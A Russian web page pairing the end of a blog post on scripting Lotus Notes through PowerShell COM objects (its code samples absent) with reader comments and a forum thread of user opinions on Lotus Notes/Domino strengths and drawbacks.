С полученным массивом удобно работать в скрипте, так как он включает в себя содержимое документа в виде «поле – значение», не содержит ничего лишнего, и не требует обращения к различным «странным» методам COM-объектов Lotus.

Запись атрибутов в существующий документ.
При редактировании существующего документа, вместо AppendItemValue мы будем использовать метод ReplaceItemValue, иначе в одном поле документа окажется несколько значений, а это не совсем то, что нам нужно (однако, может понадобиться для каких-то задач).
Предположим, что мы уже записали все значения необходимых полей в хэш-таблицу, аналогичную полученной на предыдущем шаге. Можно изменить какие-то из этих значений, или добавить новые. Например:

Запишем эти данные в документ, добавим дату изменения скриптом, и сохраним его, предварительно проверив корректность по форме:

Работа с Rich Text.
Намного сложнее работать с полями типа Rich Text, в которые может быть записано любое содержимое – текст с форматированием, вложенные файлы, таблицы, и т.д. Например, чтобы просто записать обычный текст в это поле, нужно отдельно добавлять в поле строки, и записывать текст в каждую строку. Пример кода, который записывает Rich Text в поле Body (содержимое – в переменной $docBody):

Командлеты для работы с Lotus

Чтобы упростить код основного скрипта, и сделать его больше похожим на Powershell, я решил вынести основные элементарные операции (такие, как открытие сессии, подключение к БД, создание и редактирование документа, поиск документа) в отдельную библиотеку командлетов Powershell для работы с Lotus.

Обладая даже таким небольшим инструментарием, можно «приручить» Lotus, упростить работу с большим количеством документов, и сделать его помощником в выполнении ряда административных задач. Удачи!

Работаем с Lotus Notes через Powershell : 4 комментария

Прошу прощения, но я совершенно не могу понять откуда определяются все три переменных $Form, $Field, $Value?

ДД.
Подскажите пожалуйста а возможно автоматизировать выполнение каких то задач? к примеру мне поступают заявки по смене пароля и мне приходится вручную пользователю заходить и менять пароль, но хотелось бы это автоматизировать, типа пользователь отправил заявку и дальше отработал скрипт назначил указанному в заявке пользователю стандартный ответ и отправил ответ.

Наверное можно автоматизировать и создание пользователя, только не уверен, нужно ли для этого использовать COM-объекты, или воспользоваться какими-то стандартными средствами администрирования Lotus Notes.

Lotus Notes, кто работал, как оно?

Приветствую, кто-нибудь работал с Lotus Notes(особенно с 8 версией и выше), в плане документооборота или вообще, как оно? Покидайтесь мнениями, отзывами, можно скришотиками, дабы посмотреть как оно выглядит в бою. Каковы возможности разработки в этой системе, разрабатывать можно только на встроенном языке или можно части дописывать, скажем на Java, как у него с маршрутами, т.е можно ли гибко задавать маршруты и програмно выстраивать их в зависимости от условий исполнения этапа и т.д. В общем насколько гибко и энтерпрайзно ? :)



Я админю domino сервер с notes клиентами. Используем в основном как почтовик, хотя манагеры там свои базы ведут. Довольно удобно. Можно кидаться ссылками на записи в базе, права на все неплохо настраиваются, групповые календари, правила для почты. По lotus script ничего не скажу, я в designer даже не заглядываю.


Т.е там есть возможность вести свои справочники, и например определять свои обработчики на кнопки на этих формах?


Насчет этого не знаю. Ссылки на документы похоже на магнет-ссылки. Пользователь тыкает на нее, попадает на документ. По части функционала мало что могу сказать, ибо пользую только почту от него.

На работе пользуемся лотусом.

Вкратце - в лотусе можно сделать практически все. У нас лотус используется в качестве почты, базы документов, багтрекера, средства для ведения скрума.

Как разрабатываются приложения - не подскажу, я им только пользуюсь. Но менять представления документов, добавлять свои кнопки и свои обработчики кнопок там точно можно.

Пользуемся на работе. Вцелом все недовольны: кушает много памяти, тормозит, непривычный интерфейс - это по крайней мере по сравнению с тем же Аутлуком.

Сразу скажу, что работаю в организации международного масштаба.

Но есть предание, о том, что использование очень сильно зависит от расторопности админов и от обучения персонала. Потому как в некоторых других организациях о Лотусе по крайней мере не отзываются плохо. И он у них работает быстрее, значит это возможно.

Из достоинств - да, тут тебе все: свой почтовый клиент (довольно развитый), возможность работы с обычным e-mail, базы данных с человеческим интерфейсом, электронный документооборот, instant messanger и т. п.

Мой вывод: решение на Lotus очень хорошо только если соблюдаются 4 условия:
1) Будет хорошая IT поддержка пользователей, начиная с нормальных тренингов 2) Будет обеспечено быстродействие системы, что предполагает оптимизацию самого клиента, достаточно толстый канал, возможно, апгрейд компьютеров пользователей.
3) Если нужны какие-то конкретные фичи Лотуса, например, тот же электронный документооборот.
4) Applications, которыми будут пользоваться люди, будут написаны грамотно и будут постоянно оптимизироваться.

У нас не было пункта 1, 4, пункт 2 только недавно начал появляться.

Но, вцелом я бы не рекомендовал Lotus.



Вцелом все недовольны: кушает много памяти, тормозит, непривычный интерфейс

А вот с этим я соглашусь.

И он у них работает быстрее, значит это возможно.

У нас старые компы с целеронами на 775 сокете и в среднем по 512 памяти. Торомзит. Но не так уж, чтобы очень сильно, хотя у некоторых почтовые базы до 20 гигов доходят. Это еще один большой минус лотуса, места для баз нужно много. Ну и админка у него ущербная. В том плане, что не удобная)


Не, у нас машины в большинстве своём хорошие. Пеньки на 2 GHz с 1-2 гигами оперативы, если потребуется воткнут и больше )


У меня на работе celeron e3200 c 2мя гигами памяти, я ставил себе notes 6.5.2 и 8й, тормозят примерно одинаково. 2й чуть симпатичнее и жрет больше памяти. Но для его функционала это не так критично. А вот для domino неплохо бы нормальный сервер замутить.

Пользовался lotus notes, когда он был еще только для винды. Возможностей много. Все корявое и не удобное. Привыкнуть можно. Интеграция самого себя с самим собой офигенная.
Мне кажется, что сейчас лучше все это отвязать от локального клиента, и перенести все в web.


А там есть web-клиент для работы с документами, задачами, почтой?


уверен что функционал у него очень и очень, но ibm похоже талант создавать страшных и неповоротливых монстров. Для него брали system p, что бы оно начало не люто тупить, а просто тупить. ))


у нас все так и работает, как ты описал



Мне нравится. У нас ничего не тормозит. Главное научить юзеров пользоваться ссылками на документы, а не засирать канал пересылкой файлов.

А там есть web-клиент для работы с документами, задачами, почтой?

Не слышал о таком. Я имел ввиду, что вариант с веб был бы лучше и удобнее.


Если быть точным, то у нас так и есть,я описал ситуацию по реальной итуации. Сейчас у нас работает другая система, но уж больно она тормозит. Причём тормозит как сервер, так и клиенты на местах(клиенты тормозят из-за кривизны софта), а сервер тормозит из-за дурацкой системы обработки задач. Ну скажите мне, кто станет делать в энтерпрайз системе обработку задач по таймеру? O_o На сервере работает служба, которая скажем раз в минуту лезет в базу и выполняет задачи, обрабатывает изменения пользователей и т.д. Дурдом (

все что вы написали, придется в лотусе реализовывать самому или находить сторонний софт. Лотус - всего лишь платформа. Однако он здорово располагает к написанию подобных систем.

1) Развитая система безопасности. Права, группы, политики, роли, PKI - это все есть и сразу. Шифрование и ЭЦП даже внедрять отдельно не надо ибо юзера с самого своего заведения в лотусе уже имеют сертификат и секретный ключ, публичный хранится в лотусином аналоге адресной книги.

2) Простая репликация (и кластеризация) т.к. базули можно обозвать модным словом NoSQL. Причем репликация возможна как м-ду серверами, так и клиент-сервер, и не обязательно полная, а только то что нужно.

3) Полнотекстовый поиск из коробки, в т.ч. и по вложенным файлам попсовых форматов (doc, xls, pdf etc)

4) Дизайн всех баз, поставляемых с лотусом, открыт, в т.ч. и дизайн почтовой базы. Следовательно можно точить под себя, смотреть примеры, как могут быть реализованы некоторые фичи.

5) Своя среда разработки Domino Designer - довольна простая, формошлепствовать можно от души, не сильно заморачиваясь на всякие там MVC и прочие патертны.

6) Базы могут иметь как стандартный интерфейс для Rich Client, так и web. С XPages все выглядит гламурненько Web 2.0-льненко.

А теперь о грустном.

1) Система хранения нереляционная (см п2 выше). Чтобы построить более-менее хитрые отчеты, нужно будет поизгаляцца (по сравнению с SQL, конечно). Нет транзакций в понимании РСУБД. Атомарность операции - только на уровне одного документа.

2) Клиент 8.5.х Standard тяжелый неповоротливый, прожорливый монстр. Можно пользоваться версией Basic - она полегче и в стиле версий 6-7, но тоже не фонтан. Интерфейс клиента и стандартных баз отпугивает пользователей своей непривычностью. Юзеров придется учить даже работе с почтой.

3) Для эффективной разработки надо освоить как минимум 2 ЯП - LotusScript и Formula Language. Первый суть есть VBA, причем древней реинкарнации с совсем уж десткими ограничениями, второй - тяжелое наследие Lotus 1-2-3 и прочих древних табличных процессоров (видел его еще во FrameWork III). Так же неплохо было бы знать Java. А для реально хардконых джедаев С/С++ API.

4) Администрирование лотуса - довольна трудная для интуитивного понимания вещь. Множество неглупых людей обломало зубы об лотус и заработало себе пожизненную алергию на него. Без курения толстых манов что-либо сделать нереально. Опыт конечно лечит от этого недостатка, но нервы нужно иметь железные, прежде чем начнете понимать внутренности лотуса.

5) Модные тренды последних

5 лет говорят о массовом переходе c Лотуса на ехченж/шарепоинт, хотя виденные мной сценарии перехода обходились конторам дороже поиска внятных спецов по лотусу . Валит, кароче, народ с лотуса. Пилит откаты от внедрения шарепоинта и валит :)

6) Хороших программеров и админов под лотус мало. И стоят дорого. И на дороге не валяются. И адекватностью не отличаются :)

7) Формошлепство в Domino Designer приучает к неряшливому программированию (эдакий синдорм Delphi).

8) Лотус не нужно применять для учетных систем и тому подобных вещей (т.е. там, где рулят РСУБД со всеми их достоинствами и недостатками). Можно. Есть удачные примеры. Но не нужно. Просто не нужно и все. Удел лотуса - документооборот и слабоформализованные, постоянно изменяющиеся ИС.

Вывод: лотус сука сложен и непонятен на первый взгляд, но если осилите, то будет вам счастье.

Читайте также: